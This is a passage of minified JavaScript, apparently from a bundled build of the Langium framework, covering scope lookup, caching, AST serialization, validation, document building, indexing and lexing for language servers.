r=this.caseInsensitive?this.elements.find(n=>n.name.toLowerCase()===e.toLowerCase()):this.elements.find(n=>n.name===e);if(r)return r;if(this.outerScope)return this.outerScope.getElement(e)}},Ob=class{static{o(this,"MapScope")}constructor(e,r,n){var i;this.elements=new Map,this.caseInsensitive=(i=n?.caseInsensitive)!==null&&i!==void 0?i:!1;for(let a of e){let s=this.caseInsensitive?a.name.toLowerCase():a.name;this.elements.set(s,a)}this.outerScope=r}getElement(e){let r=this.caseInsensitive?e.toLowerCase():e,n=this.elements.get(r);if(n)return n;if(this.outerScope)return this.outerScope.getElement(e)}getAllElements(){let e=an(this.elements.values());return this.outerScope&&(e=e.concat(this.outerScope.getAllElements())),e}},rje={getElement(){},getAllElements(){return Rx}}});var W1,Pb,Zp,KS,Y1,QS=N(()=>{"use strict";W1=class{static{o(this,"DisposableCache")}constructor(){this.toDispose=[],this.isDisposed=!1}onDispose(e){this.toDispose.push(e)}dispose(){this.throwIfDisposed(),this.clear(),this.isDisposed=!0,this.toDispose.forEach(e=>e.dispose())}throwIfDisposed(){if(this.isDisposed)throw new Error("This cache has already been disposed")}},Pb=class extends W1{static{o(this,"SimpleCache")}constructor(){super(...arguments),this.cache=new Map}has(e){return this.throwIfDisposed(),this.cache.has(e)}set(e,r){this.throwIfDisposed(),this.cache.set(e,r)}get(e,r){if(this.throwIfDisposed(),this.cache.has(e))return this.cache.get(e);if(r){let n=r();return this.cache.set(e,n),n}else return}delete(e){return this.throwIfDisposed(),this.cache.delete(e)}clear(){this.throwIfDisposed(),this.cache.clear()}},Zp=class extends W1{static{o(this,"ContextCache")}constructor(e){super(),this.cache=new Map,this.converter=e??(r=>r)}has(e,r){return this.throwIfDisposed(),this.cacheForContext(e).has(r)}set(e,r,n){this.throwIfDisposed(),this.cacheForContext(e).set(r,n)}get(e,r,n){this.throwIfDisposed();let i=this.cacheForContext(e);if(i.has(r))return i.get(r);if(n){let a=n();return i.set(r,a),a}else return}delete(e,r){return this.throwIfDisposed(),this.cacheForContext(e).delete(r)}clear(e){if(this.throwIfDisposed(),e){let r=this.converter(e);this.cache.delete(r)}else this.cache.clear()}cacheForContext(e){let r=this.converter(e),n=this.cache.get(r);return n||(n=new Map,this.cache.set(r,n)),n}},KS=class extends Zp{static{o(this,"DocumentCache")}constructor(e,r){super(n=>n.toString()),r?(this.toDispose.push(e.workspace.DocumentBuilder.onDocumentPhase(r,n=>{this.clear(n.uri.toString())})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{for(let a of i)this.clear(a)}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{let a=n.concat(i);for(let s of a)this.clear(s)}))}},Y1=class extends Pb{static{o(this,"WorkspaceCache")}constructor(e,r){super(),r?(this.toDispose.push(e.workspace.DocumentBuilder.onBuildPhase(r,()=>{this.clear()})),this.toDispose.push(e.workspace.DocumentBuilder.onUpdate((n,i)=>{i.length>0&&this.clear()}))):this.toDispose.push(e.workspace.DocumentBuilder.onUpdate(()=>{this.clear()}))}}});var Bb,uB=N(()=>{"use strict";cB();hs();Ys();QS();Bb=class{static{o(this,"DefaultScopeProvider")}constructor(e){this.reflection=e.shared.AstReflection,this.nameProvider=e.references.NameProvider,this.descriptions=e.workspace.AstNodeDescriptionProvider,this.indexManager=e.shared.workspace.IndexManager,this.globalScopeCache=new Y1(e.shared)}getScope(e){let r=[],n=this.reflection.getReferenceType(e),i=Va(e.container).precomputedScopes;if(i){let s=e.container;do{let l=i.get(s);l.length>0&&r.push(an(l).filter(u=>this.reflection.isSubtype(u.type,n))),s=s.$container}while(s)}let a=this.getGlobalScope(n,e);for(let s=r.length-1;s>=0;s--)a=this.createScope(r[s],a);return a}createScope(e,r,n){return new q1(an(e),r,n)}createScopeForNodes(e,r,n){let i=an(e).map(a=>{let s=this.nameProvider.getName(a);if(s)return this.descriptions.createDescription(a,s)}).nonNullable();return new q1(i,r,n)}getGlobalScope(e,r){return this.globalScopeCache.get(e,()=>new Ob(this.indexManager.allElements(e)))}}});function hB(t){return typeof t.$comment=="string"}function pme(t){return typeof t=="object"&&!!t&&("$ref"in t||"$error"in t)}var Fb,ZS=N(()=>{"use strict";nB();Pl();hs();zl();o(hB,"isAstNodeWithComment");o(pme,"isIntermediateReference");Fb=class{static{o(this,"DefaultJsonSerializer")}constructor(e){this.ignoreProperties=new Set(["$container","$containerProperty","$containerIndex","$document","$cstNode"]),this.langiumDocuments=e.shared.workspace.LangiumDocuments,this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider,this.commentProvider=e.documentation.CommentProvider}serialize(e,r){let n=r??{},i=r?.replacer,a=o((l,u)=>this.replacer(l,u,n),"defaultReplacer"),s=i?(l,u)=>i(l,u,a):a;try{return this.currentDocument=Va(e),JSON.stringify(e,s,r?.space)}finally{this.currentDocument=void 0}}deserialize(e,r){let n=r??{},i=JSON.parse(e);return this.linkNode(i,i,n),i}replacer(e,r,{refText:n,sourceText:i,textRegions:a,comments:s,uriConverter:l}){var u,h,f,d;if(!this.ignoreProperties.has(e))if(Ta(r)){let p=r.ref,m=n?r.$refText:void 0;if(p){let g=Va(p),y="";this.currentDocument&&this.currentDocument!==g&&(l?y=l(g.uri,r):y=g.uri.toString());let v=this.astNodeLocator.getAstNodePath(p);return{$ref:`${y}#${v}`,$refText:m}}else return{$error:(h=(u=r.error)===null||u===void 0?void 0:u.message)!==null&&h!==void 0?h:"Could not resolve reference",$refText:m}}else if(li(r)){let p;if(a&&(p=this.addAstNodeRegionWithAssignmentsTo(Object.assign({},r)),(!e||r.$document)&&p?.$textRegion&&(p.$textRegion.documentURI=(f=this.currentDocument)===null||f===void 0?void 0:f.uri.toString())),i&&!e&&(p??(p=Object.assign({},r)),p.$sourceText=(d=r.$cstNode)===null||d===void 0?void 0:d.text),s){p??(p=Object.assign({},r));let m=this.commentProvider.getComment(r);m&&(p.$comment=m.replace(/\r/g,""))}return p??r}else return r}addAstNodeRegionWithAssignmentsTo(e){let r=o(n=>({offset:n.offset,end:n.end,length:n.length,range:n.range}),"createDocumentSegment");if(e.$cstNode){let n=e.$textRegion=r(e.$cstNode),i=n.assignments={};return Object.keys(e).filter(a=>!a.startsWith("$")).forEach(a=>{let s=DO(e.$cstNode,a).map(r);s.length!==0&&(i[a]=s)}),e}}linkNode(e,r,n,i,a,s){for(let[u,h]of Object.entries(e))if(Array.isArray(h))for(let f=0;f{"use strict";Qc();$b=class{static{o(this,"DefaultServiceRegistry")}get map(){return this.fileExtensionMap}constructor(e){this.languageIdMap=new Map,this.fileExtensionMap=new Map,this.textDocuments=e?.workspace.TextDocuments}register(e){let r=e.LanguageMetaData;for(let n of r.fileExtensions)this.fileExtensionMap.has(n)&&console.warn(`The file extension ${n} is used by multiple languages. It is now assigned to '${r.languageId}'.`),this.fileExtensionMap.set(n,e);this.languageIdMap.set(r.languageId,e),this.languageIdMap.size===1?this.singleton=e:this.singleton=void 0}getServices(e){var r,n;if(this.singleton!==void 0)return this.singleton;if(this.languageIdMap.size===0)throw new Error("The service registry is empty. Use `register` to register the services of a language.");let i=(n=(r=this.textDocuments)===null||r===void 0?void 0:r.get(e))===null||n===void 0?void 0:n.languageId;if(i!==void 0){let l=this.languageIdMap.get(i);if(l)return l}let a=vs.extname(e),s=this.fileExtensionMap.get(a);if(!s)throw i?new Error(`The service registry contains no services for the extension '${a}' for language '${i}'.`):new Error(`The service registry contains no services for the extension '${a}'.`);return s}hasServices(e){try{return this.getServices(e),!0}catch{return!1}}get all(){return Array.from(this.languageIdMap.values())}}});function Jp(t){return{code:t}}var X1,zb,Gb=N(()=>{"use strict";vo();H1();tl();Ys();o(Jp,"diagnosticData");(function(t){t.all=["fast","slow","built-in"]})(X1||(X1={}));zb=class{static{o(this,"ValidationRegistry")}constructor(e){this.entries=new Vl,this.entriesBefore=[],this.entriesAfter=[],this.reflection=e.shared.AstReflection}register(e,r=this,n="fast"){if(n==="built-in")throw new Error("The 'built-in' category is reserved for lexer, parser, and linker errors.");for(let[i,a]of Object.entries(e)){let s=a;if(Array.isArray(s))for(let l of s){let u={check:this.wrapValidationException(l,r),category:n};this.addEntry(i,u)}else if(typeof s=="function"){let l={check:this.wrapValidationException(s,r),category:n};this.addEntry(i,l)}else Uc(s)}}wrapValidationException(e,r){return async(n,i,a)=>{await this.handleException(()=>e.call(r,n,i,a),"An error occurred during validation",i,n)}}async handleException(e,r,n,i){try{await e()}catch(a){if(Kc(a))throw a;console.error(`${r}:`,a),a instanceof Error&&a.stack&&console.error(a.stack);let s=a instanceof Error?a.message:String(a);n("error",`${r}: ${s}`,{node:i})}}addEntry(e,r){if(e==="AstNode"){this.entries.add("AstNode",r);return}for(let n of this.reflection.getAllSubTypes(e))this.entries.add(n,r)}getChecks(e,r){let n=an(this.entries.get(e)).concat(this.entries.get("AstNode"));return r&&(n=n.filter(i=>r.includes(i.category))),n.map(i=>i.check)}registerBeforeDocument(e,r=this){this.entriesBefore.push(this.wrapPreparationException(e,"An error occurred during set-up of the validation",r))}registerAfterDocument(e,r=this){this.entriesAfter.push(this.wrapPreparationException(e,"An error occurred during tear-down of the validation",r))}wrapPreparationException(e,r,n){return async(i,a,s,l)=>{await this.handleException(()=>e.call(n,i,a,s,l),r,a,i)}}get checksBefore(){return this.entriesBefore}get checksAfter(){return this.entriesAfter}}});function mme(t){if(t.range)return t.range;let e;return typeof t.property=="string"?e=Xx(t.node.$cstNode,t.property,t.index):typeof t.keyword=="string"&&(e=RO(t.node.$cstNode,t.keyword,t.index)),e??(e=t.node.$cstNode),e?e.range:{start:{line:0,character:0},end:{line:0,character:0}}}function JS(t){switch(t){case"error":return 1;case"warning":return 2;case"info":return 3;case"hint":return 4;default:throw new Error("Invalid diagnostic severity: "+t)}}function gme(t){switch(t){case"error":return Jp(rl.LexingError);case"warning":return Jp(rl.LexingWarning);case"info":return Jp(rl.LexingInfo);case"hint":return Jp(rl.LexingHint);default:throw new Error("Invalid diagnostic severity: "+t)}}var Vb,rl,dB=N(()=>{"use strict";el();zl();hs();Bl();tl();Gb();Vb=class{static{o(this,"DefaultDocumentValidator")}constructor(e){this.validationRegistry=e.validation.ValidationRegistry,this.metadata=e.LanguageMetaData}async validateDocument(e,r={},n=br.CancellationToken.None){let i=e.parseResult,a=[];if(await bi(n),(!r.categories||r.categories.includes("built-in"))&&(this.processLexingErrors(i,a,r),r.stopAfterLexingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LexingError})||(this.processParsingErrors(i,a,r),r.stopAfterParsingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.ParsingError}))||(this.processLinkingErrors(e,a,r),r.stopAfterLinkingErrors&&a.some(s=>{var l;return((l=s.data)===null||l===void 0?void 0:l.code)===rl.LinkingError}))))return a;try{a.push(...await this.validateAst(i.value,r,n))}catch(s){if(Kc(s))throw s;console.error("An error occurred during validation:",s)}return await bi(n),a}processLexingErrors(e,r,n){var i,a,s;let l=[...e.lexerErrors,...(a=(i=e.lexerReport)===null||i===void 0?void 0:i.diagnostics)!==null&&a!==void 0?a:[]];for(let u of l){let h=(s=u.severity)!==null&&s!==void 0?s:"error",f={severity:JS(h),range:{start:{line:u.line-1,character:u.column-1},end:{line:u.line-1,character:u.column+u.length-1}},message:u.message,data:gme(h),source:this.getSource()};r.push(f)}}processParsingErrors(e,r,n){for(let i of e.parserErrors){let a;if(isNaN(i.token.startOffset)){if("previousToken"in i){let s=i.previousToken;if(isNaN(s.startOffset)){let l={line:0,character:0};a={start:l,end:l}}else{let l={line:s.endLine-1,character:s.endColumn};a={start:l,end:l}}}}else a=xg(i.token);if(a){let s={severity:JS("error"),range:a,message:i.message,data:Jp(rl.ParsingError),source:this.getSource()};r.push(s)}}}processLinkingErrors(e,r,n){for(let i of e.references){let a=i.error;if(a){let s={node:a.container,property:a.property,index:a.index,data:{code:rl.LinkingError,containerType:a.container.$type,property:a.property,refText:a.reference.$refText}};r.push(this.toDiagnostic("error",a.message,s))}}}async validateAst(e,r,n=br.CancellationToken.None){let i=[],a=o((s,l,u)=>{i.push(this.toDiagnostic(s,l,u))},"acceptor");return await this.validateAstBefore(e,r,a,n),await this.validateAstNodes(e,r,a,n),await this.validateAstAfter(e,r,a,n),i}async validateAstBefore(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksBefore;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}async validateAstNodes(e,r,n,i=br.CancellationToken.None){await Promise.all(Jo(e).map(async a=>{await bi(i);let s=this.validationRegistry.getChecks(a.$type,r.categories);for(let l of s)await l(a,n,i)}))}async validateAstAfter(e,r,n,i=br.CancellationToken.None){var a;let s=this.validationRegistry.checksAfter;for(let l of s)await bi(i),await l(e,n,(a=r.categories)!==null&&a!==void 0?a:[],i)}toDiagnostic(e,r,n){return{message:r,range:mme(n),severity:JS(e),code:n.code,codeDescription:n.codeDescription,tags:n.tags,relatedInformation:n.relatedInformation,data:n.data,source:this.getSource()}}getSource(){return this.metadata.languageId}};o(mme,"getDiagnosticRange");o(JS,"toDiagnosticSeverity");o(gme,"toDiagnosticData");(function(t){t.LexingError="lexing-error",t.LexingWarning="lexing-warning",t.LexingInfo="lexing-info",t.LexingHint="lexing-hint",t.ParsingError="parsing-error",t.LinkingError="linking-error"})(rl||(rl={}))});var Ub,Hb,pB=N(()=>{"use strict";el();Pl();hs();Bl();tl();Qc();Ub=class{static{o(this,"DefaultAstNodeDescriptionProvider")}constructor(e){this.astNodeLocator=e.workspace.AstNodeLocator,this.nameProvider=e.references.NameProvider}createDescription(e,r,n){let i=n??Va(e);r??(r=this.nameProvider.getName(e));let a=this.astNodeLocator.getAstNodePath(e);if(!r)throw new Error(`Node at path ${a} has no name.`);let s,l=o(()=>{var u;return s??(s=Lp((u=this.nameProvider.getNameNode(e))!==null&&u!==void 0?u:e.$cstNode))},"nameSegmentGetter");return{node:e,name:r,get nameSegment(){return l()},selectionSegment:Lp(e.$cstNode),type:e.$type,documentUri:i.uri,path:a}}},Hb=class{static{o(this,"DefaultReferenceDescriptionProvider")}constructor(e){this.nodeLocator=e.workspace.AstNodeLocator}async createDescriptions(e,r=br.CancellationToken.None){let n=[],i=e.parseResult.value;for(let a of Jo(i))await bi(r),a1(a).filter(s=>!_p(s)).forEach(s=>{let l=this.createDescription(s);l&&n.push(l)});return n}createDescription(e){let r=e.reference.$nodeDescription,n=e.reference.$refNode;if(!r||!n)return;let i=Va(e.container).uri;return{sourceUri:i,sourcePath:this.nodeLocator.getAstNodePath(e.container),targetUri:r.documentUri,targetPath:r.path,segment:Lp(n),local:vs.equals(r.documentUri,i)}}}});var qb,mB=N(()=>{"use strict";qb=class{static{o(this,"DefaultAstNodeLocator")}constructor(){this.segmentSeparator="/",this.indexSeparator="@"}getAstNodePath(e){if(e.$container){let r=this.getAstNodePath(e.$container),n=this.getPathSegment(e);return r+this.segmentSeparator+n}return""}getPathSegment({$containerProperty:e,$containerIndex:r}){if(!e)throw new Error("Missing '$containerProperty' in AST node.");return r!==void 0?e+this.indexSeparator+r:e}getAstNode(e,r){return r.split(this.segmentSeparator).reduce((i,a)=>{if(!i||a.length===0)return i;let s=a.indexOf(this.indexSeparator);if(s>0){let l=a.substring(0,s),u=parseInt(a.substring(s+1)),h=i[l];return h?.[u]}return i[a]},e)}}});var ei={};var e6=N(()=>{"use strict";Lr(ei,ja(ZP(),1))});var Wb,gB=N(()=>{"use strict";e6();tl();Wb=class{static{o(this,"DefaultConfigurationProvider")}constructor(e){this._ready=new gs,this.settings={},this.workspaceConfig=!1,this.onConfigurationSectionUpdateEmitter=new ei.Emitter,this.serviceRegistry=e.ServiceRegistry}get ready(){return this._ready.promise}initialize(e){var r,n;this.workspaceConfig=(n=(r=e.capabilities.workspace)===null||r===void 0?void 0:r.configuration)!==null&&n!==void 0?n:!1}async initialized(e){if(this.workspaceConfig){if(e.register){let r=this.serviceRegistry.all;e.register({section:r.map(n=>this.toSectionName(n.LanguageMetaData.languageId))})}if(e.fetchConfiguration){let r=this.serviceRegistry.all.map(i=>({section:this.toSectionName(i.LanguageMetaData.languageId)})),n=await e.fetchConfiguration(r);r.forEach((i,a)=>{this.updateSectionConfiguration(i.section,n[a])})}}this._ready.resolve()}updateConfiguration(e){e.settings&&Object.keys(e.settings).forEach(r=>{let n=e.settings[r];this.updateSectionConfiguration(r,n),this.onConfigurationSectionUpdateEmitter.fire({section:r,configuration:n})})}updateSectionConfiguration(e,r){this.settings[e]=r}async getConfiguration(e,r){await this.ready;let n=this.toSectionName(e);if(this.settings[n])return this.settings[n][r]}toSectionName(e){return`${e}`}get onConfigurationSectionUpdate(){return this.onConfigurationSectionUpdateEmitter.event}}});var Gf,yB=N(()=>{"use strict";(function(t){function e(r){return{dispose:o(async()=>await r(),"dispose")}}o(e,"create"),t.create=e})(Gf||(Gf={}))});var Yb,vB=N(()=>{"use strict";el();yB();H1();tl();Ys();Gb();U1();Yb=class{static{o(this,"DefaultDocumentBuilder")}constructor(e){this.updateBuildOptions={validation:{categories:["built-in","fast"]}},this.updateListeners=[],this.buildPhaseListeners=new Vl,this.documentPhaseListeners=new Vl,this.buildState=new Map,this.documentBuildWaiters=new Map,this.currentState=Ln.Changed,this.langiumDocuments=e.workspace.LangiumDocuments,this.langiumDocumentFactory=e.workspace.LangiumDocumentFactory,this.textDocuments=e.workspace.TextDocuments,this.indexManager=e.workspace.IndexManager,this.serviceRegistry=e.ServiceRegistry}async build(e,r={},n=br.CancellationToken.None){var i,a;for(let s of e){let l=s.uri.toString();if(s.state===Ln.Validated){if(typeof r.validation=="boolean"&&r.validation)s.state=Ln.IndexedReferences,s.diagnostics=void 0,this.buildState.delete(l);else if(typeof r.validation=="object"){let u=this.buildState.get(l),h=(i=u?.result)===null||i===void 0?void 0:i.validationChecks;if(h){let d=((a=r.validation.categories)!==null&&a!==void 0?a:X1.all).filter(p=>!h.includes(p));d.length>0&&(this.buildState.set(l,{completed:!1,options:{validation:Object.assign(Object.assign({},r.validation),{categories:d})},result:u.result}),s.state=Ln.IndexedReferences)}}}else this.buildState.delete(l)}this.currentState=Ln.Changed,await this.emitUpdate(e.map(s=>s.uri),[]),await this.buildDocuments(e,r,n)}async update(e,r,n=br.CancellationToken.None){this.currentState=Ln.Changed;for(let s of r)this.langiumDocuments.deleteDocument(s),this.buildState.delete(s.toString()),this.indexManager.remove(s);for(let s of e){if(!this.langiumDocuments.invalidateDocument(s)){let u=this.langiumDocumentFactory.fromModel({$type:"INVALID"},s);u.state=Ln.Changed,this.langiumDocuments.addDocument(u)}this.buildState.delete(s.toString())}let i=an(e).concat(r).map(s=>s.toString()).toSet();this.langiumDocuments.all.filter(s=>!i.has(s.uri.toString())&&this.shouldRelink(s,i)).forEach(s=>{this.serviceRegistry.getServices(s.uri).references.Linker.unlink(s),s.state=Math.min(s.state,Ln.ComputedScopes),s.diagnostics=void 0}),await this.emitUpdate(e,r),await bi(n);let a=this.sortDocuments(this.langiumDocuments.all.filter(s=>{var l;return s.staten(e,r)))}sortDocuments(e){let r=0,n=e.length-1;for(;r=0&&!this.hasTextDocument(e[n]);)n--;rn.error!==void 0)?!0:this.indexManager.isAffected(e,r)}onUpdate(e){return this.updateListeners.push(e),Gf.create(()=>{let r=this.updateListeners.indexOf(e);r>=0&&this.updateListeners.splice(r,1)})}async buildDocuments(e,r,n){this.prepareBuild(e,r),await this.runCancelable(e,Ln.Parsed,n,a=>this.langiumDocumentFactory.update(a,n)),await this.runCancelable(e,Ln.IndexedContent,n,a=>this.indexManager.updateContent(a,n)),await this.runCancelable(e,Ln.ComputedScopes,n,async a=>{let s=this.serviceRegistry.getServices(a.uri).references.ScopeComputation;a.precomputedScopes=await s.computeLocalScopes(a,n)}),await this.runCancelable(e,Ln.Linked,n,a=>this.serviceRegistry.getServices(a.uri).references.Linker.link(a,n)),await this.runCancelable(e,Ln.IndexedReferences,n,a=>this.indexManager.updateReferences(a,n));let i=e.filter(a=>this.shouldValidate(a));await this.runCancelable(i,Ln.Validated,n,a=>this.validate(a,n));for(let a of e){let s=this.buildState.get(a.uri.toString());s&&(s.completed=!0)}}prepareBuild(e,r){for(let n of e){let i=n.uri.toString(),a=this.buildState.get(i);(!a||a.completed)&&this.buildState.set(i,{completed:!1,options:r,result:a?.result})}}async runCancelable(e,r,n,i){let a=e.filter(l=>l.statel.state===r);await this.notifyBuildPhase(s,r,n),this.currentState=r}onBuildPhase(e,r){return this.buildPhaseListeners.add(e,r),Gf.create(()=>{this.buildPhaseListeners.delete(e,r)})}onDocumentPhase(e,r){return this.documentPhaseListeners.add(e,r),Gf.create(()=>{this.documentPhaseListeners.delete(e,r)})}waitUntil(e,r,n){let i;if(r&&"path"in r?i=r:n=r,n??(n=br.CancellationToken.None),i){let a=this.langiumDocuments.getDocument(i);if(a&&a.state>e)return Promise.resolve(i)}return this.currentState>=e?Promise.resolve(void 0):n.isCancellationRequested?Promise.reject(jc):new Promise((a,s)=>{let l=this.onBuildPhase(e,()=>{if(l.dispose(),u.dispose(),i){let h=this.langiumDocuments.getDocument(i);a(h?.uri)}else a(void 0)}),u=n.onCancellationRequested(()=>{l.dispose(),u.dispose(),s(jc)})})}async notifyDocumentPhase(e,r,n){let a=this.documentPhaseListeners.get(r).slice();for(let s of a)try{await s(e,n)}catch(l){if(!Kc(l))throw l}}async notifyBuildPhase(e,r,n){if(e.length===0)return;let a=this.buildPhaseListeners.get(r).slice();for(let s of a)await bi(n),await s(e,n)}shouldValidate(e){return!!this.getBuildOptions(e).validation}async validate(e,r){var n,i;let a=this.serviceRegistry.getServices(e.uri).validation.DocumentValidator,s=this.getBuildOptions(e).validation,l=typeof s=="object"?s:void 0,u=await a.validateDocument(e,l,r);e.diagnostics?e.diagnostics.push(...u):e.diagnostics=u;let h=this.buildState.get(e.uri.toString());if(h){(n=h.result)!==null&&n!==void 0||(h.result={});let f=(i=l?.categories)!==null&&i!==void 0?i:X1.all;h.result.validationChecks?h.result.validationChecks.push(...f):h.result.validationChecks=[...f]}}getBuildOptions(e){var r,n;return(n=(r=this.buildState.get(e.uri.toString()))===null||r===void 0?void 0:r.options)!==null&&n!==void 0?n:{}}}});var Xb,xB=N(()=>{"use strict";hs();QS();el();Ys();Qc();Xb=class{static{o(this,"DefaultIndexManager")}constructor(e){this.symbolIndex=new Map,this.symbolByTypeIndex=new Zp,this.referenceIndex=new Map,this.documents=e.workspace.LangiumDocuments,this.serviceRegistry=e.ServiceRegistry,this.astReflection=e.AstReflection}findAllReferences(e,r){let n=Va(e).uri,i=[];return this.referenceIndex.forEach(a=>{a.forEach(s=>{vs.equals(s.targetUri,n)&&s.targetPath===r&&i.push(s)})}),an(i)}allElements(e,r){let n=an(this.symbolIndex.keys());return r&&(n=n.filter(i=>!r||r.has(i))),n.map(i=>this.getFileDescriptions(i,e)).flat()}getFileDescriptions(e,r){var n;return r?this.symbolByTypeIndex.get(e,r,()=>{var a;return((a=this.symbolIndex.get(e))!==null&&a!==void 0?a:[]).filter(l=>this.astReflection.isSubtype(l.type,r))}):(n=this.symbolIndex.get(e))!==null&&n!==void 0?n:[]}remove(e){let r=e.toString();this.symbolIndex.delete(r),this.symbolByTypeIndex.clear(r),this.referenceIndex.delete(r)}async updateContent(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).references.ScopeComputation.computeExports(e,r),a=e.uri.toString();this.symbolIndex.set(a,i),this.symbolByTypeIndex.clear(a)}async updateReferences(e,r=br.CancellationToken.None){let i=await this.serviceRegistry.getServices(e.uri).workspace.ReferenceDescriptionProvider.createDescriptions(e,r);this.referenceIndex.set(e.uri.toString(),i)}isAffected(e,r){let n=this.referenceIndex.get(e.uri.toString());return n?n.some(i=>!i.local&&r.has(i.targetUri.toString())):!1}}});var jb,bB=N(()=>{"use strict";el();tl();Qc();jb=class{static{o(this,"DefaultWorkspaceManager")}constructor(e){this.initialBuildOptions={},this._ready=new gs,this.serviceRegistry=e.ServiceRegistry,this.langiumDocuments=e.workspace.LangiumDocuments,this.documentBuilder=e.workspace.DocumentBuilder,this.fileSystemProvider=e.workspace.FileSystemProvider,this.mutex=e.workspace.WorkspaceLock}get ready(){return this._ready.promise}get workspaceFolders(){return this.folders}initialize(e){var r;this.folders=(r=e.workspaceFolders)!==null&&r!==void 0?r:void 0}initialized(e){return this.mutex.write(r=>{var n;return this.initializeWorkspace((n=this.folders)!==null&&n!==void 0?n:[],r)})}async initializeWorkspace(e,r=br.CancellationToken.None){let n=await this.performStartup(e);await bi(r),await this.documentBuilder.build(n,this.initialBuildOptions,r)}async performStartup(e){let r=this.serviceRegistry.all.flatMap(a=>a.LanguageMetaData.fileExtensions),n=[],i=o(a=>{n.push(a),this.langiumDocuments.hasDocument(a.uri)||this.langiumDocuments.addDocument(a)},"collector");return await this.loadAdditionalDocuments(e,i),await Promise.all(e.map(a=>[a,this.getRootFolder(a)]).map(async a=>this.traverseFolder(...a,r,i))),this._ready.resolve(),n}loadAdditionalDocuments(e,r){return Promise.resolve()}getRootFolder(e){return ys.parse(e.uri)}async traverseFolder(e,r,n,i){let a=await this.fileSystemProvider.readDirectory(r);await Promise.all(a.map(async s=>{if(this.includeEntry(e,s,n)){if(s.isDirectory)await this.traverseFolder(e,s.uri,n,i);else if(s.isFile){let l=await this.langiumDocuments.getOrCreateDocument(s.uri);i(l)}}}))}includeEntry(e,r,n){let i=vs.basename(r.uri);if(i.startsWith("."))return!1;if(r.isDirectory)return i!=="node_modules"&&i!=="out";if(r.isFile){let a=vs.extname(r.uri);return n.includes(a)}return!1}}});function r6(t){return Array.isArray(t)&&(t.length===0||"name"in t[0])}function wB(t){return t&&"modes"in t&&"defaultMode"in t}function TB(t){return!r6(t)&&!wB(t)}var Kb,t6,e0,n6=N(()=>{"use strict";Ff();Kb=class{static{o(this,"DefaultLexerErrorMessageProvider")}buildUnexpectedCharactersMessage(e,r,n,i,a){return x1.buildUnexpectedCharactersMessage(e,r,n,i,a)}buildUnableToPopLexerModeMessage(e){return x1.buildUnableToPopLexerModeMessage(e)}},t6={mode:"full"},e0=class{static{o(this,"DefaultLexer")}constructor(e){this.errorMessageProvider=e.parser.LexerErrorMessageProvider,this.tokenBuilder=e.parser.TokenBuilder;let r=this.tokenBuilder.buildTokens(e.Grammar,{caseInsensitive:e.LanguageMetaData.caseInsensitive});this.tokenTypes=this.toTokenTypeDictionary(r);let n=TB(r)?Object.values(r):r,i=e.LanguageMetaData.mode==="production";this.chevrotainLexer=new Zn(n,{positionTracking:"full",skipValidations:i,errorMessageProvider:this.errorMessageProvider})}get definition(){return this.tokenTypes}tokenize(e,r=t6){var n,i,a;let s=this.chevrotainLexer.tokenize(e);return{tokens:s.tokens,errors:s.errors,hidden:(n=s.groups.hidden)!==null&&n!==void 0?n:[],report:(a=(i=this.tokenBuilder).flushLexingReport)===null||a===void 0?void 0:a.call(i,e)}}toTokenTypeDictionary(e){if(TB(e))return e;let r=wB(e)?Object.values(e.modes).flat():e,n={};return r.forEach(i=>n[i.name]=i),n}};o(r6,"isTokenTypeArray");o(wB,"isIMultiModeLexerDefinition");o(TB,"isTokenTypeDictionary")});function SB(t,e,r){let n,i;typeof t=="string"?(i=e,n=r):(i=t.range.start,n=e),i||(i=tn.create(0,0));let a=xme(t),s=AB(n),l=ije({lines:a,position:i,options:s});return cje({index:0,tokens:l,position:i})}function CB(t,e){let r=AB(e),n=xme(t);if(n.length===0)return!1;let i=n[0],a=n[n.length-1],s=r.start,l=r.end;return!!s?.exec(i)&&!!l?.exec(a)}function xme(t){let e="";return typeof t=="string"?e=t:e=t.text,e.split(TO)}function ije(t){var e,r,n;let i=[],a=t.position.line,s=t.position.character;for(let l=0;l=f.length){if(i.length>0){let m=tn.create(a,s);i.push({type:"break",content:"",range:Gr.create(m,m)})}}else{yme.lastIndex=d;let m=yme.exec(f);if(m){let g=m[0],y=m[1],v=tn.create(a,s+d),x=tn.create(a,s+d+g.length);i.push({type:"tag",content:y,range:Gr.create(v,x)}),d+=g.length,d=EB(f,d)}if(d0&&i[i.length-1].type==="break"?i.slice(0,-1):i}function aje(t,e,r,n){let i=[];if(t.length===0){let a=tn.create(r,n),s=tn.create(r,n+e.length);i.push({type:"text",content:e,range:Gr.create(a,s)})}else{let a=0;for(let l of t){let u=l.index,h=e.substring(a,u);h.length>0&&i.push({type:"text",content:e.substring(a,u),range:Gr.create(tn.create(r,a+n),tn.create(r,u+n))});let f=h.length+1,d=l[1];if(i.push({type:"inline-tag",content:d,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+d.length+n))}),f+=d.length,l.length===4){f+=l[2].length;let p=l[3];i.push({type:"text",content:p,range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+p.length+n))})}else i.push({type:"text",content:"",range:Gr.create(tn.create(r,a+f+n),tn.create(r,a+f+n))});a=u+l[0].length}let s=e.substring(a);s.length>0&&i.push({type:"text",content:s,range:Gr.create(tn.create(r,a+n),tn.create(r,a+n+s.length))})}return i}function EB(t,e){let r=t.substring(e).match(sje);return r?e+r.index:t.length}function lje(t){let e=t.match(oje);if(e&&typeof e.index=="number")return e.index}function cje(t){var e,r,n,i;let a=tn.create(t.position.line,t.position.character);if(t.tokens.length===0)return new i6([],Gr.create(a,a));let s=[];for(;t.index0){let u=EB(e,a);s=e.substring(u),e=e.substring(0,a)}return(t==="linkcode"||t==="link"&&r.link==="code")&&(s=`\`${s}\``),(i=(n=r.renderLink)===null||n===void 0?void 0:n.call(r,e,s))!==null&&i!==void 0?i:pje(e,s)}}function pje(t,e){try{return ys.parse(t,!0),`[${e}](${t})`}catch{return t}}function vme(t){return 